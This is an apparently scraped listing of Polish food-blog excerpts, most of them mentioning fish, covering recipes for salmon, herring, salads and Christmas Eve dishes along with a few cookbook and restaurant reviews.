raczej już nie zostanę ale jakoś tak coraz mniej mięsa jest w naszej diecie i to z przyzwoleniem pozostałych członków rodziny Tak naprawdę z mięsa to najbardziej lubię ryby Na pewno na blogu będą się dalej pojawiać mięsne dania więc mięsożerni czytelnicy nie muszą się martwić Dzisiaj jednak zapraszam na bezmięsne kotleciki z kalafiora. Smakują rewelacyjnie! Czosnek, koperek

UgotujmyTo.pl
Boże Narodzenie w Prowansji i przepis na zupę czosnkową 300

paradoksalnie składa się z 7 skromnych bezmięsnych dań upamiętniających siedem boleści Maryi. Menu może różnić się w zależności od regionu Prowansji, ale generalnie oparte jest na lokalnych warzywach oraz rybach. I tak na stole znajdziemy marynowane oliwki, gratin z kalafiora ( przepis-klik ),  l’aigo boulido – zupę czosnkowo-ziołową, ślimaki, dania z solonego dorsza, omlety, czy selera naciowego

Chilli Czosnek i Oliwa
Łosoś ze szpinakiem, serem pleśniowym i migdałami 218

Możesz łososia od razu piec lub wstawić na 2h do lodówki, aby przeszedł marynatą. Ja najczęściej z braku czasu piekę od razu i zawsze jest przepyszny w smaku. Piecz rybę około 25-30 minut . Ryz basmati ugotuj do miękkości wg zaleceń na opakowaniu. Ugotowany ryż odcedź i dodaj do niego 1 łyżeczkę masła, posiekaną drobno rukolę i kukurydzę, całość dobrze

Słodko-Słony Świat Ilony
PAPRYKARZ Z KASZĄ PĘCZAK 165

patelni. Zamieszaj i odparuj wodę. Wrzuć ziele angielskie i liście laurowe, dosyp paprykę ostrą oraz słodką, cukier, wymieszaj i podsmaż chwilę, aż marchewka lekko zmięknie. Dodaj do tego rybę (obrana z ości i poszarpaną na malutkie kawałki) i koncentrat pomidorowy, całość dobrze zamieszaj.  Wsyp ugotowana kaszę pęczak, dosól i dopieprz do smaku, wszystko dobrze wymieszaj, podsmaż chwilkę na patelni

Słodko-Słony Świat Ilony
Makaron rigatoni z sosem z słodkich pomidorów , bakłażana i mozzarelli 170

kiedy wróciłam z wakacji mam dużo większą ochotę na makarony … ryby i warzywa. To chyba dobrze , bo jak wiecie mój sposób odżywiania do te pory nie należał do najzdrowszych ;) Teraz to się zmieni i takich pomysłów napewno będzie coraz więcej na blogu! Dziś mam dla Was przepis na rewelacyjny makaron zainspirowany przepisem J.Oliver’a. Sos ze słodkich

Ostra na Słodko
KAPUSTA CZERWONA ZASMAŻANA 355

wielką fanką czerwonej kapusty i jak tylko jest na nią sezon to podaję do obiadu jak najczęściej – do gulaszy … drobiu , kaczki … roladek czy też nawet do ryby. Przygotowanie wymaga trochę cierpliwości , ale gwarantuję Wam , że na efekt końcowy warto poczekać! Bez dokładki się nie obejdzie! Tak więc CZERWONA KAPUSTA ujęcie 1 – czas start! SKŁADNIKI: * czerwona

Ostra na Słodko
Smażone tosty sezamowe z pastą surimi 144

Paluszki surimi – produkt sporządzony na bazie zmielonego mięsa białych ryb , najczęściej mintaja , dorsza , czy też morszczuka z ekstraktem krabowym. Popularne zwłaszcza w kuchniach dalekowschodnich. Wykorzystywane do sałatek … jako przekąska … do nadziewania chlebów czy też past. Dziś mam dla Was przepis na chrupiące tosty zapiekane z pastą krabową – zachwycą nie tylko wielbicieli owoców morza

Ostra na Słodko
KREWETKI , OŚMIORNICE, KARMAZYN I SKAKANIE W SZPILKACH PRZEZ OGRODZENIE czyli TYDZIEŃ RESTAURACJI Z GROUPON W PAŁACU BONEROWS 164

wegetarianie, jak i wielbiciele doskonałych mięs. Ceny wysokie , jak to na taką restaurację … w takim mieście … i w takiej lokalizacji przystało. W menu owoce morza …. najlepsze ryby …. dziczyzna … cielęcina , jagnięcina , wołowina i wiele innych specjałów. Całe menu z cennikiem dostępne tutaj: http://www.milanokrakow.pl/nasza-kuchnia/karta-dan   ______________________________________________________________________________________________________ My zdecydowaliśmy się na makarony. Rafał wybrał : Cannelloni

Ostra na Słodko
WIGILIA - Pasztet warzywny 309

stopni. Następnie zdjąć folię i piec jeszcze 15 minut. Pasztet fajnie smakuje na ciepło i na zimno. Może być serwowany solo lub stanowiąc dodatek do porcji mięska lub ryby

Apetyt na więcej - jadłodajnia dla duszy i ciała
Ocet estragonowo-cytrynowy z nutą cynamonu, na święta 166

jabłkowego i winnego, tym bardziej, że wykonanie jest banalnie proste, a efekty smakowe rewelacyjne. Octy ziołowe wykorzystuję do zakwaszania sałatek, surówek, zup, galaretek, do marynowania wszelkiego rodzaju mięs i ryb. Z powodzeniem zastępują sok z cytryny lub zwykłe octy, a nuty zapachowe możemy dowolnie komponować w zależności od własnych upodobań lub przygotowywanych potraw.     Składniki: ocet jabłkowy

SzczyptaSmaQ
Świąteczna terrina z łososiem 219

naszym wigilijnym stole sprawdzają się wszystkie zimne przekąski i przystawki z rybami, m.in różne śledzie z grzybami , z cytrusam i Dzisiaj zaś proponuję Wam przygotować wyśmienitą w smaku, ale przede wszystkim bardzo efektowną, ale i mało pracochłonną Świąteczną terrinę z łososiem, na którą przepis podawałam przy okazji wpisu o dekoracji świątecznego stołu , ta terrina będzie prawdziwą ozdobą wigilijnego stołu

Damsko-męskie spojrzenie na kuchnię
Śledź po grecku 386

Rybę po grecku wszyscy znają, a ja proponuję Wam śledzia po grecku.  Może to być ciekawa propozycja na jedno z dań wigilijnych.   Przygotujcie ją przynajmniej dzień wcześniej, żeby smaki się pomieszały. Składniki:   220 g płatów śledziowych w oleju, 250 g marchwi, 2 cebule czerwone, 1 mała puszka przecieru pomidorowego, 60 g rodzynek, 1/3 szklanki oleju ryżowego

Moniki Smakołyki
Jak zjeść papaję 264

papaja to znakomity probiotyk, przyśpieszający odbudowę flory bakteryjnej po kuracjach antybiotykowych, co może być pomocne w okresie jesienno-zimowych przeziębień.    Papaja dobrze komponuje się z mięsem, rybami, owocami morza, warzywami, owocami i jogurtem. Sprawdzi się też w przetworach, konfiturach, dżemach, sokach i kompotach. Najprostszy sposób na zjedzenie papai to obrać owoc ze skórki, wydrążyć łyżką nasiona

SzczyptaSmaQ
Kebab- kebap 363

Kebab- a także kebap i kabab- pochodzi ze Środkowego wschodu danie z kawałków mięsa lub ryby z warzywami. Dzisiaj zapraszam Was na doner kebap-kebab- danie bardzo popularne w Niemczech, gdzie w niektórych dzielnicach Berlina na każdym niemal rogu znajdziecie miejsce gdzie Turcy sprzedają swój narodowy przysmak . Zapewniam Was, że nie będziecie czuć się rozczarowani robiąc to danie

Smaki Edyty
Dwaj łakomi Włosi - Recenzja 200

zróżnicowane podejście do kuchni włoskiej.  Rozdziały książki prowadzą nas przez kolejne dania typowe dla włoskiego posiłku - "Antipasti/Przystawki", "Primi/Pierwsze dania" (czyli zupy, makarony, risotto i gnocchi), "Secondi/Dania główne" (mięso, ryby i owoce morza), "Contorni/Sałatki i surówki", "Frutta e Dolci/Owoce i desery" oraz "Merende/Przekąski". Na początku każdego rozdziału znajdziecie krótki wstęp dotyczący wiążących się z danym daniem zwyczajów

Chilli Czosnek i Oliwa
Domowy Słodki Sos Chili 202

Słodki Sos Chili - popularny sos szczególnie w kuchni Azjatyckiej. Jego wyjątkowy smak idealnie pasuje do ryb, owoców morza, sushi itd. Słodki Sos Chili - Składniki: papryczka chili 500 ml wody 3 ząbki czosnku 1/2 szklanki cukru szczypta soli 3 łyżki octu ryżowego szczypta słodkiej papryki w proszku (opcjonalnie) 2 łyżeczki mąki ziemniaczanej + ok. 40 ml wody Słodki Sos Chili - Sposób

Słodka Strona
Makaron z Łososiem, Szpinakiem i Serkiem Pleśniowym 327

szpinakiem to eleganckie, wytworne danie, które może stanowić codzienny obiad, jak również np. romantyczną kolacje. Ten pozorny "bałagan" na talerzu stanowi pyszną potrawę składającą się z delikatnej, wyjątkowo smacznej ryby, bogatego w składniki odżywcze szpinaku oraz charakterystycznego w smaku sera Blue. Całość świetnie się ze sobą komponuje tworząc pożywne, ciekawe i smakowite danie. Makaron z Łososiem, Szpinakiem i Serkiem Pleśniowym(...)muszkatołowej. Makaron gotujemy al dente w osolonej wodzie według instrukcji na opakowaniu. Łososia porcjujemy na mniejsze filety, a następnie posypujemy odrobiną koperku, pieprzu i soli. Delikatnie wcieramy przyprawy w rybę. Masło topimy na patelni teflonowej. Łososia przekładamy na patelnię i smażymy na małym ogniu z obu stron (warto przeczytać: wskazówki na temat smażenia łososia ).  Usmażonego łososia delikatnie za pomocą

Słodka Strona
Zupa krem z pieczonych pomidorów i pieczonej papryki 238

Przygotowując ostatnio salsę pomidorowo - paprykową  do ryby postanowiłam z tak przygotowanych warzyw zrobić zupę - krem. Bardzo lubię takie zupy, gdyż przetarte warzywa nadają im inny, znacznie pełniejszy od tradycyjnych zup, smak. Biorąc pod uwagę trwający sezon na pomidory i paprykę grzechem byłoby nie wykorzystać ich :) Składniki: 3 większe pomidory , 3 średnie czerwone papryki

Codzienna kuchnia niecodzienna
Tarta z farszem ziemniaczanym 139

wstawić do piekarnika nagrzanego do temperatury 190 - 200 stopni. Zapiekać przez kilkanaście minut aż wierzch tarty lekko się zarumieni. Podawać na gorąco ze świeżymi pomidorami.... .....lub zapiekanym filetem z ryby :) Smacznego

Codzienna kuchnia niecodzienna
Pojemniki próżniowe Vacuum marki Dafi - recenzja 151

pojemniku możemy  przechowywać różne produkty bez obaw o przenikanie zapachów - bez powietrza zapachy się nie wymieszają.  Próżnia w znacznym stopniu przyspiesza marynowanie mięsa i ryb. Produkty sypkie takie jak mąka, cukier czy bułka tarta umieszczone w pojemnikach próżniowych są bezpieczne w wilgotnym środowisku . Musimy jednak pamiętać, aby do pudełka wkładać taki produkt w opakowaniu

Codzienna kuchnia niecodzienna
Przepisy na wigilię Bożego Narodzenia 189

Święta Bożego Narodzenia Ćwikła Zakwas na barszcz Barszczyk Piernik Biszkopty bałwanki Pierniczki Ryby: mintaj w panierce

prawdziwe jedzenie
Cebula 193

pasztetów, zup, sosów, placków z surowych tartych ziemniaków i potraw z mielonego mięsa.  W kuchni nieodzowna, wykorzystywana niemal do wszystkiego - od przyprawionego pikantnie twarożku, poprzez potrawy ze śledzi, ryb, befsztyku tatarskiego, smażonej wątróbki, rumsztyku. Nie wspominając o sosach, zupach, surówkach, pastach smakowych itp. zrodlo: wyd. Publicat, "Kuchnia Polska", Ewa Aszkiewicz

Klaudynkowa kuchnia
Śledź z suszonymi grzybami i śliwkami / Herring with dried mushrooms and prunes 186

Święta tuż, tuż a śledzie są wręcz niezbędnym dodatkiem na stole podczas Świąt Bożego Narodzenia. Proponuję je w troszkę innej formie niż tradycyjne marynowane, bo z

karmelowy
Sałatka z roszponki, fenkułu, pomarańczy i jabłka 175

wzbogacona o miękkie rodzynki i chrupiące orzechy włoskie. A wszystko to zostało przyprawione białym pieprzem, nadającym nutkę pikanterii. Sałatka ta stanowić może świetny dodatek do pieczonego kurczaka i białych ryb. Składniki: 150 g roszponki 1 fenkuł 1,5 pomarańczy 1 jabłko garść orzechów włoskich garść rodzynek biały pieprz ocet jabłkowy olej arachidowy bądź sezamowy Przygotowanie: Fenkuł obrać, przekroić

Food Square
Frankfurcki zielony sos 193

Menem  w miejscowej gwarze zwą go  Gri Soß i  nie wyobrażają sobie bez niego Świąt Wielkanocnych. Zielony sos stanowi doskonały dodatek do mięs, ryb, jajek oraz ziemniaków w każdej postaci. Poza Niemcami znany jest on również we Włoszech jako salsa verde i we Francji jako sauce verte . Podstawą oryginalnego przepisu są świeże zioła

Food Square
Sałatka z selera naciowego i dzikiego ryżu 211

się, że jest go za mało. Jeśli wolimy wersję ostrzejszą, możemy również dodać pestki pozostawione z chili. Sałatkę odstawiamy na minimum pół godziny. Następnie podajemy samą lub w towarzystwie ryby, drobiu, czy owoców morza. Smacznego

Food Square
Grillowany łosoś curry z salsą owocową, podawany z miętowym kuskusem 135

curry i owocową salsą z mango i truskawek. Danie jest proste i szybkie w wykonaniu. Wszystkie składniki można przygotować zawczasu, a później pozostaje nam tylko zapalić ogień i grillować rybę. Idealne na jeden z tych ciepłych czerwcowych weekendów, kiedy szkoda czasu na siedzenie w kuchni i można cieszyć się latem. Będziemy potrzebować (na 4 porcje) : 4 kawałki świeżego łososia norweskiego

Food Square
Ćwikła z chrzanem 150

Młode buraczki, świeży korzeń chrzanu i mamy świetny dodatek do mięs, ryb i kanapek. Składniki: -1 kg ugotowanych buraków -20 dkg świeżego korzenia chrzanu -sól -ocet lub sok z cytryny    Buraki i chrzan obieramy a następnie kroimy na mniejsze kawałki. Do maszynki zakładamy sitko z drobniutkimi oczkami a na wylot maszynki woreczek foliowy,  do którego będzie

Maminek kulinarny
Empanadillas z jagnięciną i warzywami 211

mąki, ja jednak ułatwiłam sobie zadanie i użyłam gotowego ciasta francuskiego, a zamiast smażyć je w głębokim tłuszczu upiekłam je w piekarniku. Do nadzienia można użyć dowolnych składników, warzyw, ryb, owoców morza, mięs. W tym przypadku wykorzystałam jagnięcinę, która została mi z obiadu z poprzedniego dnia. Równie dobrze można wykorzystać mięso z rosołu, upieczoną pierś kurczaka lub tuńczyka

Smakowity Blog Kulinarny
Karp zatorski w sosie z czerwonego wina 144

Przykrywamy naczynie folią aluminiową i odstawiamy na 30 minut. Rozgrzewamy piekarnik do 200 stopni (termoobieg). Wstawiamy karpia do piekarnika na około 30 minut. Po tym czasie z naczynia z rybą wyjmujemy gałązki ziół i liść laurowy i przekładamy karpia do naczynia, w którym będzie podawany. Jeśli sos jest zbyt wodnisty, to wlewamy go na patelnię i podgrzewamy, aż zredukuje się

Smakowity Blog Kulinarny
Bliny z serkiem chrzanowym i śledziem 195

Istnieje wiele domowych receptur przyrządzania ciasta na bliny, z różnych rodzajów mąki, z dodatkiem kasz czy ziemniaków. Podawane są na wiele sposobów, od prostych bez dodatków lub z gotowaną rybą, po eleganckie- ze śmietaną, kawałkami łososia, wędzonego jesiotra, solonym i marynowanym śledziem, rybnymi pastami i sałatkami, marynowanymi grzybami, kawiorem. Można też je podawać w wersji na słodko z konfiturami. Składniki

Smakowity Blog Kulinarny
Makaron spaghetti z tuńczykiem 237

SKLADNIKI 3 łyżki oliwy z oliwek papryczka chili ząbek czosnku 2 puszki pomidorów nać pietruszki 2 puszki tuńczyka 500 g makaronu typu spaghetti SPOSOB POSTEPOWANIA Wlać

zielonacukinka
Ćevapcići z sosem tzatziki 213

Kuchnia chorwacka jest bardzo zróżnicowana. Możemy w niej znaleźć zarówno mięsa, jak i owoce morza i ryby. W części kontynentalnej tego kraju przeważają dania z baraniny, jagnięciny i wieprzowiny, rzadziej z drobiu. Natomiast na wybrzeżu króluje zdrowa i lekka kuchnia śródziemnomorska - owoce morza, ryby, oliwki. My skupimy się dziś na tej pierwszej. Ćevapcići, to podłużne kotleciki z mięsa mielonego, przypominające

W poszukiwaniu inspiracji
Sushi maki z ogórkiem i surimi 159

Kuchnia japońska jest jedną z najzdrowszych i najbogatszych w składniki odżywcze na świecie. Dzięki różnorodności ryb, alg i owoców morza zapobiega szybkiemu starzeniu, co pozwala Japonkom cieszyć się piękną skórą przez długi czas.  Jednym z najpopularniejszych japońskich dań jest sushi, które dzielimy na wiele rodzajów. Dzisiaj przygotowałam maki, czyli sushi zawijane na tradycyjnej bambusowej macie.  Potrzebne

W poszukiwaniu inspiracji
Dyniowa gorąca czekolada. I ślub 173

niedzielę, po weselu, byliśmy nie do życia. Wróciliśmy do domu o wpół do szóstej rano, totalnie wykończeni. Spaliśmy do południa, a i tak cały dzień chodziliśmy jak takie śnięte ryby - snuliśmy się z kąta w kąt, a brak energii do czegokolwiek objawił się w zamówieniu pizzy na obiad. Niemniej, z przyjemnością oglądaliśmy całe mnóstwo zdjęć z wesela. Do całkowitego

Pożeraczka, czyli raz adobrze
Rozgrzewający krem z kalafiora. I o gotowaniu obiadów 160

Jestem obiadową niedojdą . Większość osób, która ma blogi kulinarne, czuje się w kuchni jak ryby w wodzie. Potrafią zrobić wszystko, coś z niczego, na już, a czasem nawet na wczoraj. Ja, o ile uwielbiam piec, tak gotowanie nie kręci mnie jakoś specjalnie. I tu się z C. doskonale dobraliśmy - on gotuje, ja piekę, i wszyscy są szczęśliwi i zadowoleni

Pożeraczka, czyli raz adobrze
Surówka z czerwonych buraków 246

Surówka z czerwonych buraków... Szybka, prosta w wykonaniu i smaczna. Idealna do mięs, ryb i potraw wegetariańskich. Pyszne połączenie startych buraków i cebuli. Smaczego! Składniki: Słoik wiórków z buraczków czerwonych (waga bez zalewy 350g); 1 mała, biała cebula; 2 łyżki oleju; 1/2 łyżki octu lub soku z cytryny (opcjonalnie) Sól; Pieprz. Sposób wykonania: Wiórki z buraczków odsączyć z zalewy

Gospodyni Miejska
Azjatycka surówka z kapusty pekińskiej 324

Ocet spirytusowy 10% można zastąpić 3 łyżkami octu 5% lub octu ryżowego. Najlepszym olejem jest olej sezamowy. Ja z braku takiego użyłam rzepakowego. Surówka idealnie pasuje do potraw z ryb czy mięs. Źródło przepisu:   Wielkie Żarcie

Gospodyni Miejska
Surówka z marchewki, jabłek i pora 414

wyjść około 4 szklanek startej na tarce o dużych oczkach marchwi. Ocet spirtusowy 10 % można zastąpić 2 łyżkami octu 5 %. Surówka jest idelana do potraw mięsnych, z grilla czy ryb. Szklanka = 250 ml. Źródło przepisu:   Wielkie Żarcie

Gospodyni Miejska
Pasta twarogowa z makrelą 244

Pasta twarogowa z makrelą... Kremowa, aromatyczna. O wyraźnym smaku wędzonej makreli. Na bazie twarogu półtłustego. Z dodatkiem majonezu i koperku. Dosmaczona koncentratem pomidorowym. Pyszna do kanapek

Gospodyni Miejska
Winogrona marynowane w papryce 243

Winogrona w papryce, marynata idealnie pasuje do pieczonych mięs i ryb, oraz sałatek z długo dojrzewających serów. Gniazda nasienne z papryk najlepiej usuwać za pomocą łyżeczki do wycinania kulek z melona, a lekko  miażdżąc przyprawy w moździerzu można  wydobyć więcej olejków eterycznych, zwłaszcza z ziela angielskiego.  Składniki: Winogrona - 600 g Papryka czerwona - 5 sztuk

SzczyptaSmaQ
BATATOR - świąteczny tort z batatów z kremem różanym 275

najbliższym markecie.  Kocham bataty za ich uniwersalność, można je gotować, grillować, parować, piec, a ugotowane mrozić i przechowywać nawet kilka miesięcy.  Doskonale smakują z ziołami, mięsem, rybami, warzywami, owocami…    Do przygotowania tortu użyłam domowej konfitury z czeremchy z dodatkiem czekolady i cynamonu, różanego cukru pudru, cassia własnej roboty i szlachetnej czekolady do dekoracji.  Puszysty

SzczyptaSmaQ
Makaron cytrynowy z semoliny - jak go zrobić 215

sodu, jodu, żelaza. Jest to sól kamienna pochodzenia wulkanicznego, koloru różowo-szarego i ma charakterystyczny siarkowy posmak (smak ugotowanego jajka). Makaron cytrynowy jak dla mnie idealnie nadaję się do ryb, podkreśla ich smak. Tworzenie samemu makaronu - bezcenne :) SKŁADNIKI: przepis autorski semolina 300 g jajka 3 szt oliwa 1 łyżkę  sól czarna 1 płaską łyżeczkę (można zastąpić morską) kurkuma

Basia w kuchni
Makaron cytrynowy z łososiem oraz nutą tymianku 155

Moje eksperymentowania z makaronem ciąg dalszy. W poprzednim poście pokazywałam jak zrobić makaron cytrynowy ( klik ) dziś pokaże jak ja go podaję. Zazwyczaj łącze go z rybami. Smak cytryny świetnie podkreśla ich smak, Do tego dania wykorzystałam łososia wędzonego w plastrach, dołączyłam do tego świeże zioła takie jak tymianek oraz rozmaryn.Dla wyostrzenia smaku cytryny dodatkowo skropiłam kilkoma kroplami soku

Basia w kuchni
Recenzja książki "Łatwa kuchnia śródziemnomorska" Claudii Roden 190

czym są i jak są wykorzystywane kiszone cytryny, ciasto filo oraz woda pomarańczowa.  Książka obejmuje ok. 40 przepisów, które zostały podzielone na cztery działy: zupy i przystawki, ryby i owoce morza, drób i mięso oraz makarony, kasze i warzywa. Znajdziemy tu dania ze wszystkich zakątków basenu Morza Śródziemnego, od aromatycznych dań marokańskich po słoneczne smaki Hiszpanii. Niektóre

Chilli Czosnek i Oliwa
Warzywna zapiekanka 158

minut w piekarniku w temperaturze 180 st. C, wyjmuję posypuję serem i zapiekam jeszcze 15 – 20 min w 200 st. Wybornie smakuje z sosem czosnkowym z jogurtu. Do mięsa, ryby lub jako samodzielne danie

pieprzny smaczek
Puree z groszku 182

Puree z groszku to świetny dodatek do mięsa lub ryb. Delikatnie zielony kolor dodaje wdzięku na talerzu, a i czyni nasze danie nietypowym. Ja swoje podałam z karkówką pieczoną w marynacie z coli i ketchupu. Składniki na 3 porcje: 450 g mrożonego groszku Łyżka masła 2 łyżki śmietany Pieprz, sól Odrobina soku z cytryny Przygotowanie: Groszek ugotować w osolonej

Fabryka pomysłów
Makaron z pomidorowym pesto 224

zechcecie już pesto ze słoika. Oczywiście możecie go używać nie tylko do makaronu – świetnie nada się jako sos do pizzy, na kanapki czy do zapiekania w nim ryb lub kurczaka. Danie według przepisu mojego męża – tak więc każdy facet sobie z nim poradzi. Składniki: 400-500 g makaronu tagliatelle lub spaghetti (użyłam z dodatkiem świeżego chili

Poezja smaku
Fettucionne z łososiem i brokułem w sosie pomidorowo - śmietanowym 205

czekał w durszlaku, pokrojony w cienkie plasterki czosnek podsmażyłam lekko na odrobinie oliwy. Potem wrzuciłam do niego odsączonego z oleju łososia i łososia z sosem pomidorowym, chwilę smażyłam, aby ryba nabrała temperatury. Następnie wyłożyłam do woka ugotowany makaron, wlałam kremówkę i podgrzewając wymieszałam wszystko, aby sos pomidorowo - śmietanowy zredukował się i obkleił dokładnie cały makaron. Na samym końcu dołożyłam koperek

Blondynka Gotuje
PieczonyKurczak&Szpinak&DomoweFryty 303

tygodnie temu. Starość nie radość, już się zapomina o takich rzeczach ;) na szczęście nie jest on elementem zbędnym, bo pasuje zarówno dobrze i do makaronów, zapiekanek jak i ryb czy innych mięs. Dziś połączyłam go z kurczakiem i domowymi frytkami. Zapraszam! Składniki (2 porcje) ; 2 piersi z kurczaka 300g szpinak mrożony 2 ząbki czosnku 5 ziemniaków oliwa z oliwek

Kitchens Alphabet
SAŁATKA WARSTWOWA Z TUŃCZYKIEM 625

Szybki sposób na coś smacznego, na coś z rybą, na przemycenie jej dzieciom...bo wtakiej wersji uwielbiają się zajadać tuńczykiem Składniki: 1,5 szkl kuskusu puszka tuńczyka w oleju słonecznikowym puszka kukurydzy 5 jajek pęczek szczypiorku 8 łyżek majonezu sól morska Kamis pieprz mielony Kamis Wykonanie: Kuskus gotujemy, studzimy wykładamy do salaterki. Na wierzch wykładamy osączonego tuńczyka, dociskamy łyżką, wykładamy

Z Majeczką w kuchni
Przekąska z naleśników ze szpinaku posmarowanych kremem łososiowym 394

zastanawialiśmy z Pawłem czy zamiast paczki chipsów można by do filmu wieczorem “wciągnąć” coś innego, zdrowszego. I tak powstał pomysł na naleśniki. Na zielono. Z naszą ulubioną rybą - łososiem. Jak Paweł nie przepada za serem białym (całkowicie nie rozumiem dlaczego!), tak krem z twarożku i łososia został przez niego w 100% zaakceptowany :) Zarówno ser biały jak i łosoś(...)białka, a także składników mineralnych, takich jak magnez, wapń, fosfor, selen, które korzystnie wpływają na funkcjonowanie układu nerwowego i mięśniowego. Niezbędne Nienasycone Kwasy Tłuszczowe (NNKT), których bogatym źródłem są ryby morskie (w tym łosoś) pomagają utrzymać prawidłowy poziom cholesterolu we krwi, zapobiegając tym samym odkładaniu się blaszki miażdżycowej w ścianach naczyń krwionośnych. Natomiast szpinak jest doskonałym źródłem naturalnych roślinnych przeciwutleniaczy

W kuchni Katie
Małże, mule, omułki - czyli co skrywa czarna muszelka 234

takie małe mięczaki ukrywające się w czarnej muszli na dnie morza. Są ważnym elementem ekosystemów wodnych, ponieważ filtrują wodę z nadmiaru zanieczyszczeń organicznych. Stanowią pożywienie dla wielu skorupiaków, ryb i ssaków (np. morsów i fok). A także ludzi :) Małże są bogatym źródłem pełnowartościowego białka oraz soli mineralnych. Niestety mogą kumulować szkodliwe substancje pochodzące z bardzo zanieczyszczonych wód, dlatego też

W kuchni Katie
Z dalekich wypraw #9 Zieloną łychą mieszane 255

zupełnie do niczego.  W smaku oszczędne.  Dlatego doprawione.  I teraz to jeść mooożna! Najlepiej Zieloną Łyżką. Czekając na paczkę. W bananowym zacieszu na fejsie! SKÅL! Wielka ryba do trzech razy sztuka. Poprzednie wersje ( tutaj  i  tutaj ) były dobre. Ale kombinowane. Bo zawsze szukałam tego właściwego wielorybiego smaku. Równocześnie zabijając go trochę. Bo mi rybą zalatywało

bastalena
Śledzie w pomidorach 141

Jakiś czas temu mój Małżonek pojechał na ryby, na molo i przywiózł do domu swoje łupy. Piękne, mięsiste śledzie. Bardzo lubimy oboje śledzie w konserwie, ale  z powodu dużej zawartości soli w nich staramy się ich nie kupować . Jak tylko zobaczyłam tę masę świeżych rybek postanowiłam zrobić sama takie śledzie  w sosie pomidorowym .Śledzie czyścimy, odcinamy głowy(...)myjemy. Następnie osuszamy , nacieramy lekko solą i oprószamy w mące . Tak przygotowane ryby smażymy   na gorącym oleju na złoty kolor z dwóch stron. Już usmażone śledzie kładziemy na papierowy ręcznik w celu pozbycia się nadmiaru tłuszczu i ostudzenia. Kiedy rybki są już letnie lub zimne wkładamy słoików, czy innych pojemników. Teraz potrzebujemy sosu pomidorowego, który   robię

Pasje Jolki
Szpinak "uduszony" 119

pieprzymy . Mieszamy chwilę. Dodajemy gałkę muszkatułową , ok.pół łyżeczki. Znowu mieszamy i dusimy ok. 5 min. Posypujemy parmezanem lub innym serem długo dojrzewającym, mieszamy. Zjadamy jako dodatek do mięsa, ryb czy makaronów.Smacznego. CMOK

Pasje Jolki
Genua, włoskie miasto 83

cieszę się, że miałam okazję próbować tych smakołyków w samym sercu jednego z największych portów Włoskich. Genua ma również wspaniałe, jedno z największych Oceanariów na świecie, skupisko wspaniałych ryb i eksponatów, tu pierwszy raz głaskałam płaszczkę i miałam rekiny na wyciągnięcie ręki. Ogromne wrażenie robi architektura, każda dzielnica jest inna, jest tu największa starówka w Europie. Miasto gdzie

Pasje Jolki
Mięso z warzywami w sosie teriyaki 426

oczywiście proporcje. Dlatego możecie wykonać go samodzielnie, lub pójść "na łatwiznę" i sięgnąć po gotowy, dostępny w każdym supermarkecie, jak ja uczyniłam ;) Sos możecie wykorzystywać do marynowania mięsa, ryb, jako dodatek do sushi lub na wiele innych sposobów, tutaj jak zawsze ogranicza nas wyłącznie wyobraźnia. W tym wpisie przedstawiam przepis na kurczaka z warzywami w sosie teriyaki. Kurczak

Taste Of My Day
Mus z ryby w kremowym sosie z oscypka 171

końce wystawały. Filety umyć, osuszyć, pokroić na mniejsze kawałki (rozmrożone odcisnąć z nadmiaru wody) i dokładnie zmiksować. Dodać sól, pieprz, śmietanę i wymieszać. Białko ubić i delikatnie połączyć z rybą. Mus nałożyć do kokilek, a wystającymi paskami marchewek i cukinii przykryć wierzch. Lekko przycisnąć. Kokilki ustawić na blaszce z wodą. Woda ma sięgać mniej więcej do połowy kokilek. Wszystko przykryć

Oryginalny smak
Filet z dorsza w papilotach 138

dokładnie obtoczyć filety z dorsza i odstawić na około 10 minut. Z papieru do pieczenia wycinamy dwa kwadraty (około 20-25 cm). Na każdym układamy filet z dorsza, na rybie pokrojone w plasterki czarne oliwki, a obok przekrojone na pół pomidorki koktajlowe. Wszystko szczelnie zawijamy (można użyć zszywacza, ale należy pamiętać, aby go po upieczeniu usunąć) i układamy na blaszce

Oryginalny smak
Pstrąg z masłem pietruszkowym 250

pietruszkowym.Rybę najpierw opiekłam na silnym ogniu( zapobiega to wyciekaniu cennego soku, a co zatym idzie wysuszeniu), a następnie dopiekłam w niższej temperaturze.Dobrym rozwiązaniem jest pieczenie w folii aluminiowej, ryba tak przygotowana nie ma wprawdzie chrupiącej skórki, ale jest lekkostrawna i niskokaloryczna. Składniki: 2 pstrągi 2 duże gałązki natki pietruszki 1 cytryna sól morska świeżo zmielony pieprz masło pietruszkowe(...)posiekanej natki pietruszki sól, pieprz    Wykonanie: Umytego i dokładnie wysuszonego pstrąga nacieramy solą i pieprzem . Do środka wkładamy natkę pietruszki.Składniki masła pietruszkowego ucieramy na jednolitą masę. Rybę układamy na folii aluminiowej wysmarowanej masłem pietruszkowym.Wierzch obkładamy  plasterkami cytryny. Zawiniętego w folię pstrąga wkładamy do nagrzanego piekarnika (220st.)i pieczemy 20-25 minut.Pstrąga polewamy wytworzonym podczas pieczenia

Gorący kąsek
Łosoś w sosie porowo-czosnkowym 143

Doskonałe dietetyczne  danie.  Gotowanie na parze zachowuje  wszystkie właściwości warzyw, a ryba jest mięciutka. SKŁADNIKI 50 dag łososia 1 mały brokuł  1 marchewka pół pora ( twarda część)  sól, pieprz sok z połowy cytryny 2 łyżki jogurtu naturalnego pół łyżeczki musztardy WYKONANIE Gotujemy na parze. Do naczynia wkładamy łososia przyprawionego solą i pieprzem. Brokuł rozdzielamy(...)różyczki i wkładamy na rybę. Do tego por pokrojony w talarki, marchewka w paski lub talarki. Wszystko nakrywamy i gotujemy ok 20 min. Sos przyrządzamy z wyciśniętego soku z cytryny, jogurtu , musztardy. oraz z pora , który gotował się w garnku. Pora blendujemy. wszystko mieszamy. Można lekko posolić. Podajemy łososia polanego sosem. SMACZNEGO  Czekam na Państwa opinie i cenne rady

W kuchennym oknie Ewy
SURÓWKA Z PORA 167

wykorzystuję go podczas mojego pichcenia.  Surówka z pora jest prosta i szybka do zrobienia.  Pasuje praktycznie do wszystkiego: i do grilla, i do mielonych, schabowych czy smażonej ryby. Składniki: biała część z 2 porów 1 jabłko sól pieprz cukier 2 łyżki śmietany 12% łyżeczka majonezu natka pietruszki Wykonanie:   Pora kroimy na drobne paseczki, jabłko ścieramy

Walijskie Pichcenie
Szparagi w dojrzewającym boczku, podane na sosie beurre blanc z jajkami po benedyktyńsku. 177

